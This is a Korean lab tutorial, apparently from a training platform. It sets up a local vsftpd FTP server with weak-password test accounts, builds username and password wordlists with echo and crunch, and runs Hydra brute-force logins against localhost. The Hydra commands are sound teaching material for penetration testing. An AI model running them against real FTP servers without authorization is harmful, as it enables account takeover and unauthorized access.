소개
이 랩에서는 다재다능한 비밀번호 크래킹 도구인 Hydra 를 사용하여 FTP 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다. vsftpd 를 사용하여 로컬 FTP 서버를 설정하고 보안 취약점을 시연하기 위해 약한 비밀번호를 가진 테스트 계정을 생성합니다.
이 랩은 Hydra 공격 실행, 결과 분석, 약한 인증이 FTP 서비스를 어떻게 손상시킬 수 있는지 이해하는 과정을 안내합니다. 이 실습은 제어된 환경에서 서버 구성, 공격 시뮬레이션 및 보안 평가를 다룹니다.
로컬 FTP 서버 설정
이 단계에서는 LabEx VM 환경에서 vsftpd (Very Secure FTP Daemon) 를 사용하여 로컬 FTP 서버를 설정합니다. FTP (File Transfer Protocol) 는 네트워크를 통해 클라이언트와 서버 간에 파일을 전송하는 데 사용되는 표준 네트워크 프로토콜입니다. 컴퓨터 간에 파일 전달을 처리하는 디지털 우체국과 같다고 생각하면 됩니다.
- 먼저 vsftpd 패키지를 설치해야 합니다. 이 명령은 패키지 목록을 업데이트하고 FTP 서버 소프트웨어를 설치합니다.
sudo apt-get update && sudo apt-get install -y vsftpd
- 설치 후에는 기본 구성 파일의 백업을 만드는 것이 좋습니다. 이렇게 하면 필요한 경우 항상 원래 설정을 복원할 수 있습니다.
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
- 이제 Linux 의 간단한 텍스트 편집기인 nano 를 사용하여 구성 파일을 편집합니다. 이 파일은 FTP 서버의 동작 방식을 제어합니다.
sudo nano /etc/vsftpd.conf
- 구성 파일 내부에서 이러한 중요한 설정을 수정해야 합니다. 이러한 변경 사항은 다음과 같습니다.
- 익명 액세스 비활성화 (보안을 위해)
- 로컬 사용자 로그인 허용
- 파일 업로드 허용
- 사용자를 홈 디렉토리로 제한 (안전을 위해)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES

다음 명령을 실행하여 변경 사항을 확인할 수 있습니다.
grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat

이러한 변경을 수행한 후 Ctrl+O (Write Out) 를 눌러 파일을 저장한 다음 Ctrl+X 로 nano 를 종료합니다.
이제 구성 변경 사항을 적용하기 위해 vsftpd 서비스를 다시 시작해야 합니다. 이는 서버를 새 설정으로 새로 고치는 것과 같습니다.
sudo service vsftpd restart
- 다음으로 FTP 액세스를 위해 특별히 테스트 사용자 계정을 생성합니다.
-m플래그는 홈 디렉토리를 생성하고-s는 기본 셸을 설정합니다.
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser
메시지가 표시되면 비밀번호를 password123으로 설정합니다. 테스트 목적으로만 이 간단한 비밀번호를 사용하고 있습니다. 실제 상황에서는 항상 강력한 비밀번호를 사용해야 합니다.
- FTP 테스트를 위한 특수 디렉토리를 생성하고 적절한 권한을 설정해 보겠습니다. 이렇게 하면 테스트 사용자가 이 폴더의 파일에 액세스하고 수정할 수 있습니다.
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
- 마지막으로 FTP 서버가 제대로 실행되고 있는지 확인해야 합니다. 이 명령은 vsftpd 서비스의 상태를 확인합니다.
sudo service vsftpd status

서비스가 활성 상태 (실행 중) 임을 나타내는 출력이 표시되어야 합니다. 오류가 표시되면 구성 단계를 검토해야 할 수 있습니다.
테스트 사용자로 FTP 서버 구성
이 단계에서는 의도적으로 약한 비밀번호를 가진 테스트 계정을 생성하여 보안 테스트를 위해 FTP 서버를 준비합니다. 이 설정은 사용자가 종종 간단한 비밀번호를 선택하는 실제 시스템에서 발견되는 일반적인 보안 취약점을 모방합니다. 세 개의 테스트 사용자를 생성하고, 홈 디렉토리를 설정하고, 나중에 Hydra 가 사용할 비밀번호 목록을 생성합니다.
- 먼저, 약한 비밀번호를 가진 세 개의 테스트 사용자를 생성해 보겠습니다 (시연 목적으로만). 이러한 명령은 홈 디렉토리가 있는 새 시스템 사용자를 생성하고 비밀번호를 설정합니다.
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd
sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd
sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
- 이제 각 사용자에 대한 전용 FTP 디렉토리를 생성하고 적절한 소유권을 설정합니다. 이렇게 하면 각 사용자가 FTP 를 통해 자신의 파일에만 액세스할 수 있습니다.
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files
sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
- 각 사용자의 디렉토리에 테스트 파일을 채워 넣겠습니다. 이러한 파일은 나중에 FTP 액세스가 성공했는지 확인하는 데 도움이 됩니다.
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
- 진행하기 전에 테스트 사용자 중 한 명에 대한 FTP 액세스가 작동하는지 확인해 보겠습니다. 이 curl 명령은 FTP 자격 증명을 사용하여 파일을 다운로드하려고 시도합니다.
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt
올바르게 구성된 경우 터미널에 test1.txt 의 내용이 표시됩니다.
This is ftpuser1's test file
FTP 공격을 위한 공격 목록 준비
이 단계에서는 Hydra 가 FTP 서버에 로그인을 시도하는 데 사용할 단어 목록을 준비합니다. 이러한 목록에는 Hydra 가 무차별 대입 공격 중에 체계적으로 시도할 잠재적인 사용자 이름과 비밀번호가 포함되어 있습니다. 효과적인 단어 목록을 만드는 방법을 이해하는 것은 침투 테스트에 매우 중요합니다.
- 먼저, 일반적인 FTP 사용자 이름을 포함하는 기본 사용자 이름 목록을 생성합니다. 이는 관리자가 변경하는 것을 잊어버리는 경우가 있는 기본 또는 자주 사용되는 계정 이름입니다.
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
- 다음으로, 일반적인 약한 비밀번호가 있는 비밀번호 목록을 생성합니다. 많은 사용자가 기억하기 쉽지만 추측하기도 쉬운 간단한 비밀번호를 설정합니다.
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
- 두 파일이 올바르게 생성되었는지 내용을 표시하여 확인해 보겠습니다. 이렇게 하면 목록에 의도한 내용이 정확히 포함되어 있는지 확인할 수 있습니다.
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
- 더 복잡한 비밀번호 조합을 생성하기 위해
crunch도구를 설치합니다. 이는 실제 시스템에서 사용될 수 있는 체계적인 비밀번호 패턴을 생성하는 데 도움이 됩니다.
sudo apt-get install -y crunch
- 이제 crunch 를 사용하여 정확히 6 자리 숫자의 숫자 비밀번호를 생성합니다. 이는 생년월일 또는 간단한 PIN 과 같은 일반적인 숫자 전용 비밀번호를 시뮬레이션합니다.
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
- 모든 비밀번호 목록을 하나의 포괄적인 파일로 결합합니다. 이 병합된 목록은 Hydra 에게 공격 중에 시도할 더 많은 비밀번호 옵션을 제공합니다.
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
- 생성한 비밀번호 항목 수를 확인합니다. 이는 무차별 대입 공격에 얼마나 걸릴지 추정하는 데 도움이 됩니다.
wc -l ~/project/combined_passwords.txt
- 마지막으로, 시연 목적으로 더 작은 테스트 비밀번호 파일을 생성합니다. 하위 집합을 사용하면 전체 공격을 실행하기 전에 설정이 작동하는지 확인할 수 있습니다.
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt
FTP 서비스에 대한 Hydra 공격 실행
이 단계에서는 Hydra 를 사용하여 앞서 구성한 로컬 FTP 서버에 대한 무차별 대입 공격을 수행합니다. Hydra 는 FTP 를 포함한 많은 프로토콜을 지원하는 인기 있는 비밀번호 크래킹 도구입니다. 무차별 대입 공격은 올바른 비밀번호가 발견될 때까지 가능한 모든 비밀번호 조합을 체계적으로 시도합니다. 이는 약한 비밀번호가 이러한 공격에 취약한 이유를 보여줍니다.
- 먼저, Hydra 의 도움말 메뉴를 확인하여 설치되었는지 확인합니다. 이렇게 하면 도구를 사용할 준비가 되었는지 확인하고 사용 가능한 옵션을 표시합니다.
hydra -h
- 생성한 사용자 이름 및 비밀번호 목록을 사용하여 기본 Hydra 공격을 실행합니다.
-L은 사용자 이름 목록을 지정하고-P는 비밀번호 목록을 지정합니다. Hydra 는 localhost 에서 실행 중인 FTP 서비스에 대해 각 조합을 시도합니다.
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost

- 공격 진행 상황에 대한 자세한 출력을 보려면
-vV플래그를 추가합니다. 이 상세 모드는 Hydra 가 공격 중에 무엇을 하는지 이해하는 데 도움이 됩니다.
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
- 전체 비밀번호 목록으로 더 포괄적인 공격을 실행합니다 (이 작업은 더 오래 걸립니다).
-t 4옵션은 서버에 과부하가 걸리지 않도록 하면서도 좋은 속도를 유지하기 위해 4 개의 병렬 연결로 제한합니다.
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
- Hydra 가 유효한 자격 증명을 찾으면 출력에 표시됩니다. 이는 FTP 서버에 성공적으로 인증된 사용자 이름/비밀번호 조합을 보여줍니다. 성공적인 출력 예시:
[21][ftp] host: 127.0.0.1 login: ftpuser1 password: password1
- 나중에 분석할 수 있도록 결과를 파일에 저장합니다.
-o옵션은 출력을 화면에 표시하는 대신 파일에 씁니다.
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
- 결과를 확인하여 자격 증명이 발견되었는지 확인합니다. 이를 통해 공격이 완료된 후 결과를 검토할 수 있습니다.
cat ~/project/hydra_results.txt
요약
이 랩에서는 vsftpd 를 사용하여 로컬 FTP 서버를 구성하는 방법을 배웠습니다. 여기에는 패키지 설치, 로컬 사용자 액세스를 위한 구성 조정, 약한 비밀번호를 가진 테스트 계정 생성이 포함됩니다. 이 과정에는 vsftpd.conf 설정 수정, 적절한 디렉토리 권한 설정, 서비스 기능 확인이 포함되었습니다.
또한 예측 가능한 자격 증명을 가진 여러 계정을 생성하여 Hydra 공격을 위한 테스트 환경을 준비했습니다. 이 설정은 현실적인 보안 테스트 조건을 유지하면서 무차별 대입 기술을 연습할 수 있는 제어된 시나리오를 제공합니다.


